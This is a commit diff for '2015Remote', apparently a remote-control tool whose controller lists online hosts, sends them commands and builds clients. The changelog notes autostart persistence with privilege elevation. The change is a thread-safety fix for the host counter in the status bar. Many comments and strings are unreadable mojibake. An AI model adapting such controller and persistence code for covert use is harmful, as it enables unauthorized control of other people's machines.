fix: showing the wrong host quantity in status bar
This commit is contained in:
@@ -225,3 +225,9 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足
|
||||
2.增加了使用VLD的操作方法,详见"server\2015Remote\stdafx.h"。
|
||||
注意:自VS2019开始,不支持XP系统了(微软已经声明这个变更)。如果有需要在XP系统进行监控的需求,推荐使用"2015Remote.sln"。
|
||||
如果使用VS2015编译,需将WindowsTargetPlatformVersion修改为8.1,将PlatformToolset修改为v140_xp。
|
||||
|
||||
2024.12.26
|
||||
解决主控程序概率性崩溃的问题,增强主控程序运行的稳定性。本人未进行广泛测试,不保证彻底根治,但稳定性有明显改观。
|
||||
fix: client threads number excceeding bug
|
||||
fix: #19 the CBuffer causing server crash
|
||||
fix: showing the wrong host quantity in status bar
|
||||
|
||||
@@ -122,7 +122,6 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
||||
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||
|
||||
m_iCount = 0;
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
@@ -337,7 +336,6 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing);
|
||||
|
||||
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
|
||||
m_iCount++;
|
||||
|
||||
ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
LeaveCriticalSection(&m_cs);
|
||||
@@ -356,7 +354,9 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
|
||||
|
||||
CString strStatusMsg;
|
||||
|
||||
m_iCount=(m_iCount<=0?0:m_iCount); //<2F><>ֹiCount <20><>-1<><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EnterCriticalSection(&m_cs);
|
||||
int m_iCount = m_CList_Online.GetItemCount();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
strStatusMsg.Format("<EFBFBD><EFBFBD>%d<><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",m_iCount);
|
||||
m_StatusBar.SetPaneText(0,strStatusMsg); //<2F><>״̬<D7B4><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
@@ -479,6 +479,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
return;
|
||||
}
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (m_CList_Online.m_hWnd!=NULL) //<2F><><EFBFBD>ؼ<EFBFBD>Ҳ<EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD>о<EFBFBD><D0BE><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
CRect rc;
|
||||
@@ -496,6 +497,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
m_CList_Online.SetColumnWidth(i,(lenth)); //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
if (m_CList_Message.m_hWnd!=NULL)
|
||||
{
|
||||
@@ -549,12 +551,14 @@ void CMy2015RemoteDlg::OnClose()
|
||||
#endif
|
||||
|
||||
BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT;
|
||||
EnterCriticalSection(&m_cs);
|
||||
int n = m_CList_Online.GetItemCount();
|
||||
for(int Pos = 0; Pos < n; ++Pos)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
||||
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Sleep(200);
|
||||
|
||||
EnterCriticalSection(&m_cs);
|
||||
@@ -608,7 +612,10 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
GetCursorPos(&Point);
|
||||
|
||||
int iCount = SubMenu->GetMenuItemCount();
|
||||
if (m_CList_Online.GetSelectedCount() == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1>
|
||||
EnterCriticalSection(&m_cs);
|
||||
int n = m_CList_Online.GetSelectedCount();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (n == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1>
|
||||
{
|
||||
for (int i = 0;i<iCount;++i)
|
||||
{
|
||||
@@ -640,8 +647,8 @@ void CMy2015RemoteDlg::OnOnlineDelete()
|
||||
BYTE bToken = COMMAND_BYE; //<2F>ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
|
||||
|
||||
EnterCriticalSection(&m_cs);
|
||||
int iCount = m_CList_Online.GetSelectedCount();
|
||||
|
||||
for (int i=0;i<iCount;++i)
|
||||
{
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
@@ -651,6 +658,7 @@ void CMy2015RemoteDlg::OnOnlineDelete()
|
||||
strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
||||
ShowMessage(true,strIP);
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
VOID CMy2015RemoteDlg::OnOnlineCmdManager()
|
||||
@@ -728,6 +736,7 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
|
||||
|
||||
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
while(Pos)
|
||||
{
|
||||
@@ -737,6 +746,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD>
|
||||
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Bar
|
||||
@@ -1022,7 +1032,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
|
||||
m_CList_Online.DeleteItem(i);
|
||||
m_iCount--;
|
||||
ShowMessage(true, ip + "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -82,7 +82,7 @@ public:
|
||||
#endif
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
UINT m_iCount;
|
||||
|
||||
CBitmap m_bmOnline[2];
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
|
||||
Reference in New Issue
Block a user